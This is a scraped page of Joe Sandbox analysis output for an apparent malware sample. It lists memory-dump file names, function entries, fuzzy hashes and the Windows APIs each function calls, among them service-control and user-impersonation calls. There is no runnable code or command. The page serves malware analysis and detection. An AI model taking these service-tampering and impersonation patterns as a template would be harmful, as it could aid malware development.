Associated: 0000000A.00000002.1668602687.00000000002DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668632884.00000000002DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668659612.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668697349.00000000002E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668726949.00000000002E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668756752.00000000002ED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668791005.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668823450.0000000000304000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668852470.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668882498.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668916311.0000000000327000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668942917.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.000000000037A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669041092.0000000000388000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669072257.000000000038A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bd21ef3b70412f7d439a9e368afba67146b18c86d6f5de659443b618a85c4e74
Instruction ID: 0a6ed16f5dff6ef64fd4e82913663058592f9c50074aa20dffcb5895244c9f3f
Opcode Fuzzy Hash: bd21ef3b70412f7d439a9e368afba67146b18c86d6f5de659443b618a85c4e74
Instruction Fuzzy Hash: 5AF028B212C3926EE7029E600C709BA7F58CF62204728108BEC80CB183D2605D1AC72D

Function 000CB7EA Relevance: 1.3, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!!iH, xrefs: 000CB95A

Memory Dump Source

Source File: 0000000A.00000002.1667613524.00000000000CA000.00000040.00000001.01000000.00000006.sdmp, Offset: 000C0000, based on PE: true

Associated: 0000000A.00000002.1667525700.00000000000C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667557254.00000000000C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667586371.00000000000C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667642913.00000000000D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667757040.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667784395.000000000023F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667815433.0000000000256000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667815433.0000000000261000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668128547.0000000000277000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668155410.0000000000278000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668182853.0000000000279000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668209841.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668235065.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668259950.000000000027E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668290245.0000000000295000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668315393.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668339354.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668363271.0000000000299000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668387832.000000000029A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668413287.00000000002A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668438798.00000000002A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668467098.00000000002B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668493269.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668517186.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668546648.00000000002D8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668575126.00000000002D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668602687.00000000002DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668632884.00000000002DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668659612.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668697349.00000000002E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668726949.00000000002E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668756752.00000000002ED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668791005.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668823450.0000000000304000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668852470.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668882498.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668916311.0000000000327000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668942917.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.000000000037A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669041092.0000000000388000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669072257.000000000038A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 52a8ea3096f2641fb60d9981599fe08e902b592004a0b663ebf437b548c570ce
Instruction ID: 9881b1e9a82960a7adb70282187d37a0558833e3d8c229e983e01a378df0c03f
Opcode Fuzzy Hash: 52a8ea3096f2641fb60d9981599fe08e902b592004a0b663ebf437b548c570ce
Instruction Fuzzy Hash: 59E08CB114458A9ACB269F608803FAD7B1ADF41700F600129BB019AE8ACB3D1819C7A5

Function 04BD15C4 Relevance: 1.8, APIs: 1, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04BD18C8

Memory Dump Source

Source File: 0000000A.00000002.1672813508.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bd0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 1f5d6443078b7fa3ff2fc82d2f6ad51ab7157e8ee8cfe95f91f6f48f507f301d
Instruction ID: fe040ea14130d664c9ead495580b7699facaf1f54f077f878ca1a8c654233ffe
Opcode Fuzzy Hash: 1f5d6443078b7fa3ff2fc82d2f6ad51ab7157e8ee8cfe95f91f6f48f507f301d
Instruction Fuzzy Hash: F9C16C71D006599FDB10CFA8CC857ADBBF1FF48314F1486A9E854E7294EB74A882CB81

Function 04BD0D42 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,?), ref: 04BD0DCD

Memory Dump Source

Source File: 0000000A.00000002.1672813508.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bd0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: cbf4a3eff793f3fb803d91b5abb96e66fbcffa6dbbd1dd847b5ea7d050a07c22
Instruction ID: c0dd5a679ede730659faf5807c93bb23f170cab0985222794bb2bfd6be48421c
Opcode Fuzzy Hash: cbf4a3eff793f3fb803d91b5abb96e66fbcffa6dbbd1dd847b5ea7d050a07c22
Instruction Fuzzy Hash: CA2149B6C012099FCB10DF99D885BDEFBF0EB88320F14815AD809AB244D734A541CFA4

Function 04BD0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,?), ref: 04BD0DCD

Memory Dump Source

Source File: 0000000A.00000002.1672813508.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bd0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 2780ddf07d0408e3b2f8265daaa48bf0074f5966e9ee0446ee9514800fdcf2c7
Instruction ID: 6a5f5802aed1fa48b9479b04e417740536258f104605a3b6c48f734c516beffd
Opcode Fuzzy Hash: 2780ddf07d0408e3b2f8265daaa48bf0074f5966e9ee0446ee9514800fdcf2c7
Instruction Fuzzy Hash: DB2127B6C012199FCB10DF9AD884BDEFBF5EB88320F14825AD809AB244D734A541CFA5

Function 04BD1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BD1580

Memory Dump Source

Source File: 0000000A.00000002.1672813508.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bd0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 2222ec95b127eda723992211f8fa7839603070aa374be08ad4780a27e668cb2e
Instruction ID: 98df3416fa7b5368c7543f5e755b637e2a260c328f344d324d2a7b7520f84452
Opcode Fuzzy Hash: 2222ec95b127eda723992211f8fa7839603070aa374be08ad4780a27e668cb2e
Instruction Fuzzy Hash: B42126B1D003499FDB20CF9AC485BDEFBF4EB48324F108029E958A7240D778AA45CFA5

Function 04BD1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BD1580

Memory Dump Source

Source File: 0000000A.00000002.1672813508.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bd0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: b8796026e09caa78497047c868c02823f757f3c941806ad26ca81cd2c1e389ce
Instruction ID: c2f3c4eee9fca9314fa8fa3854d4204c5e6e3d4b38816ee49c34e73b8af086c2
Opcode Fuzzy Hash: b8796026e09caa78497047c868c02823f757f3c941806ad26ca81cd2c1e389ce
Instruction Fuzzy Hash: F31126B1D003498FDB20CF9AC484BDEFBF4EB48324F108029E918A3240D378AA44CFA5

Function 04BD1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BD1367

Memory Dump Source

Source File: 0000000A.00000002.1672813508.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bd0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: dacf5ee35f6c80aec60dea531c6b60dbe32f806860a037bf54ba03b895530264
Instruction ID: 8f04d26f14b6b97d547194c8fccfd34c3d2747f4e42425feeda7ee48cb5e6a13
Opcode Fuzzy Hash: dacf5ee35f6c80aec60dea531c6b60dbe32f806860a037bf54ba03b895530264
Instruction Fuzzy Hash: 951113B18003498FDB20DF9AC445BDEFBF4EB48324F24846AD558A3240D778A945CFA5

Function 04BD1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BD1367

Memory Dump Source

Source File: 0000000A.00000002.1672813508.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bd0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 6e82df103bd7c880fe0e678689efd0a8c67ed619c70a9fa1c60469ad288fe701
Instruction ID: c4607412acc57cea67970423c01ea1a3dd90317f4748c301cebaea567dd5427e
Opcode Fuzzy Hash: 6e82df103bd7c880fe0e678689efd0a8c67ed619c70a9fa1c60469ad288fe701
Instruction Fuzzy Hash: 4211F2B18003498FDB20DF9AC945BDEBBF8EB48324F24846AD558A3650D778A944CFA5

Function 0025C6DA Relevance: 1.5, APIs: 1, Instructions: 20
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0025C6E9

Memory Dump Source

Source File: 0000000A.00000002.1667815433.0000000000256000.00000040.00000001.01000000.00000006.sdmp, Offset: 000C0000, based on PE: true

Associated: 0000000A.00000002.1667525700.00000000000C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667557254.00000000000C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667586371.00000000000C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667613524.00000000000CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667642913.00000000000D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667757040.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667784395.000000000023F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667815433.0000000000261000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668128547.0000000000277000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668155410.0000000000278000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668182853.0000000000279000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668209841.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668235065.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668259950.000000000027E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668290245.0000000000295000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668315393.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668339354.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668363271.0000000000299000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668387832.000000000029A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668413287.00000000002A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668438798.00000000002A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668467098.00000000002B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668493269.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668517186.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668546648.00000000002D8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668575126.00000000002D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668602687.00000000002DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668632884.00000000002DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668659612.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668697349.00000000002E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668726949.00000000002E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668756752.00000000002ED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668791005.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668823450.0000000000304000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668852470.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668882498.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668916311.0000000000327000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668942917.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.000000000037A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669041092.0000000000388000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669072257.000000000038A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1463df5e7178e7aacead33de8eddd84e1f8bd24b0e9b18a732357a02a9228510
Instruction ID: dc205bb1dec31f542ae8f94eb22398a4560f277791962aa728b4c32b35a42412
Opcode Fuzzy Hash: 1463df5e7178e7aacead33de8eddd84e1f8bd24b0e9b18a732357a02a9228510
Instruction Fuzzy Hash: 93E02B3210425B8E8B1AFE2488F148D7780DE243157294914C88ACB483DB30F8178B4C

Function 000CE6E5 Relevance: 1.3, APIs: 1, Instructions: 27
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 000CEE1E

Memory Dump Source

Source File: 0000000A.00000002.1667613524.00000000000CA000.00000040.00000001.01000000.00000006.sdmp, Offset: 000C0000, based on PE: true

Associated: 0000000A.00000002.1667525700.00000000000C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667557254.00000000000C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667586371.00000000000C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667642913.00000000000D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667757040.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667784395.000000000023F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667815433.0000000000256000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667815433.0000000000261000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668128547.0000000000277000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668155410.0000000000278000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668182853.0000000000279000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668209841.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668235065.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668259950.000000000027E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668290245.0000000000295000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668315393.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668339354.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668363271.0000000000299000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668387832.000000000029A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668413287.00000000002A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668438798.00000000002A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668467098.00000000002B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668493269.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668517186.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668546648.00000000002D8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668575126.00000000002D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668602687.00000000002DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668632884.00000000002DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668659612.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668697349.00000000002E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668726949.00000000002E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668756752.00000000002ED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668791005.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668823450.0000000000304000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668852470.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668882498.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668916311.0000000000327000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668942917.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.000000000037A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669041092.0000000000388000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669072257.000000000038A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 179204901bf8565a83a9c450715282a3fa34440461c1d5423e282c317b873d53
Instruction ID: e00a001515e9c4e9bbd1677fe5e418f890f7873f3959f68b1ef619d4442f6a87
Opcode Fuzzy Hash: 179204901bf8565a83a9c450715282a3fa34440461c1d5423e282c317b873d53
Instruction Fuzzy Hash: 71F0F87120C644DFD314AF15C881ABEBBFAEF88700F11882DA8C587200D7305C519B96

Function 000CF050 Relevance: 1.3, APIs: 1, Instructions: 22
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 000CF8E1

Memory Dump Source

Source File: 0000000A.00000002.1667613524.00000000000CA000.00000040.00000001.01000000.00000006.sdmp, Offset: 000C0000, based on PE: true

Associated: 0000000A.00000002.1667525700.00000000000C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667557254.00000000000C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667586371.00000000000C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667642913.00000000000D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667757040.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667784395.000000000023F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667815433.0000000000256000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667815433.0000000000261000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668128547.0000000000277000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668155410.0000000000278000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668182853.0000000000279000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668209841.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668235065.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668259950.000000000027E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668290245.0000000000295000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668315393.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668339354.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668363271.0000000000299000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668387832.000000000029A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668413287.00000000002A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668438798.00000000002A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668467098.00000000002B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668493269.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668517186.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668546648.00000000002D8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668575126.00000000002D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668602687.00000000002DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668632884.00000000002DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668659612.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668697349.00000000002E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668726949.00000000002E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668756752.00000000002ED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668791005.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668823450.0000000000304000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668852470.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668882498.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668916311.0000000000327000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668942917.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.000000000037A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669041092.0000000000388000.00000040.00000001.01000000.00000006.sdmpDownload File
